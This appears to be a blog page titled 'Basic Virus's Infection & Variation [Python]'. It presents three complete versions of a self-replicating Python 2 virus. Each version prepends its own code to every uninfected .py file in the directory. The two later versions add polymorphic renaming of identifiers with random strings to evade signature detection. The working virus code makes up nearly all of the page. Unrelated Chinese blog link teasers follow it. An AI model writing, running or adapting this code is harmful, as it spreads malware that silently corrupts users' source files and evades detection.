Learn from here

Initial

#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872

import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + '~')

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    for line in this:
        destination.write(line)
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "---------------------------this is silly python virus-----------------"

#MAGIC_STRING_9348788nkmsd

Variation 1

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + "~")

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    mutations = init_mutation()

    for line in this:
        destination.write(mutate(line, mutations))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def mutate(line, mutations):
    for k, v in mutations.iteritems():
        line = line.replace(k, v)
    return line

def init_mutation():
    original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
                'is_infected', 'infect', 'randstring', 'destination', 'mutate',
                'randstring', 'original', 'mutations']
    mutated = []
    for o in original:
        mutated.append((o, rand_string(len(o))))
    return dict(mutated)

def rand_string(length):
    randstring = ''
    for i in range(0, length):
        randstring += chr(random.randint(97, 122))
    return randstring

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Variation 2

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def tnjjel(ptphbids):
    os.rename(ptphbids, ptphbids + "~")

    buszvmkioof = open(ptphbids, "w")
    source = open(ptphbids + "~", "r")
    this = open(__main__.__file__, "r")

    ontsgrefv = puezajbvokbom()

    for line in this:
        buszvmkioof.write(vgaisf(line, ontsgrefv))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        buszvmkioof.write(line)

    source.close()
    buszvmkioof.close()
    this.close()

def is_tnjjeled(ptphbids):
    f = open(ptphbids, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def vgaisf(line, ontsgrefv):
    for k, v in ontsgrefv.iteritems():
        line = line.replace(k, v)
    return line

def puezajbvokbom():
    slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
                'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
                'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
    vgaisfd = []
    for o in slrxwwms:
        vgaisfd.append((o, rand_string(len(o))))
    return dict(vgaisfd)

def rand_string(length):
    qebmtybcrm = ''
    for i in range(0, length):
        qebmtybcrm += chr(random.randint(97, 122))
    return qebmtybcrm

def find_and_tnjjel_files():
    path = "."
    dirs = os.listdir(path)
    for ptphbids in dirs:
        if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
            tnjjel(ptphbids)

find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Bingo !

Basic Virus's Infection & Variation [Python]的更多相关文章

  1. 【Python】【Basic】MacOS上搭建Python开发环境

    1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...

  2. 【LeetCode】224. Basic Calculator 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...

  3. Python基础知识(Basic knowledge)

    Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...

  4. Python初学基础

      初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...

  5. 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)

    6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...

  6. 【310】◀▶ Python 日期和时间

    参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...

  7. 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!

    学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...

  8. python网络框架Twisted

    什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...

  9. 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索

    [test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...

随机推荐

  1. Sparse Filtering 学习笔记(一)网络结构与特征矩阵

      Sparse Filtering 是一个用于提取特征的无监督学习算法,与通常特征学习算法试图建模训练数据的分布的做法不同,Sparse Filtering 直接对训练数据的特征分布进行分析,在所谓 ...

  2. SQLServer学习笔记系列10

    一.写在前面的话 生活的路很长,还是要坚持走下去,自己选择的生活,就该让这样的生活放射精彩!我不奢求现在的积累,在将来能够收获多少,至少在以后的日子里回忆起来,我不曾放弃过,我坚持过,我不后悔!最近跟 ...

  3. TCP与UDP在socket编程中的区别

    一.TCP与UDP的区别 基于连接与无连接  对系统资源的要求(TCP较多,UDP少)  UDP程序结构较简单  流模式与数据报模式  TCP保证数据正确性,UDP可能丢包  TCP保证数据顺序,UD ...

  4. web项目中,视图层中关于相对路径和绝对路径

    1.在jfinal项目中 因为一直使用的jfinal,没感觉路径问题. 举个栗子,项目名字叫做test.访问一个Controller的映射为/user/add.这样,在浏览器地址栏直接:localho ...

  5. [logstash-input-log4j]插件使用详解

    Log4j插件可以通过log4j.jar获取Java日志,搭配Log4j的SocketAppender和SocketHubAppender使用,常用于简单的集群日志汇总. 最小化的配置 input { ...

  6. 【Swift学习】Swift编程之旅---字符与字符串(五)

    String是swift的字符串类型.一个字符串是一个有效的字符序列,因此还可以使字符集合表示.通过+符号可以连接字符串. String 类型是一种快速.现代化的字符串实现.每一个字符串都是由独立编码 ...

  7. 从C#到Objective-C,循序渐进学习苹果开发(7)--使用FMDB对Sqlite数据库进行操作

    本随笔系列主要介绍从一个Windows平台从事C#开发到Mac平台苹果开发的一系列感想和体验历程,本系列文章是在起步阶段逐步积累的,希望带给大家更好,更真实的转换历程体验.本篇主要开始介绍基于XCod ...

  8. C#编程总结(十三)数据压缩

    C#编程总结(十三)数据压缩 在进行文件存储或者数据传输时,为了节省空间流量,需要对数据或文件进行压缩.在这里我们讲述通过C#实现数据压缩. 一.GZipStream压缩 微软提供用于压缩和解压缩流的 ...

  9. 介绍开源的.net通信框架NetworkComms框架 源码分析(二)ConnectionInfo

    原文网址: http://www.cnblogs.com/csdev Networkcomms 是一款C# 语言编写的TCP/UDP通信框架  作者是英国人  以前是收费的 目前作者已经开源  许可是 ...

  10. C# ~ 从 IEnumerable / IEnumerator 到 IEnumerable<T> / IEnumerator<T> 到 yield

    IEnumerable / IEnumerator 首先,IEnumerable / IEnumerator 接口定义如下: public interface IEnumerable /// 可枚举接 ...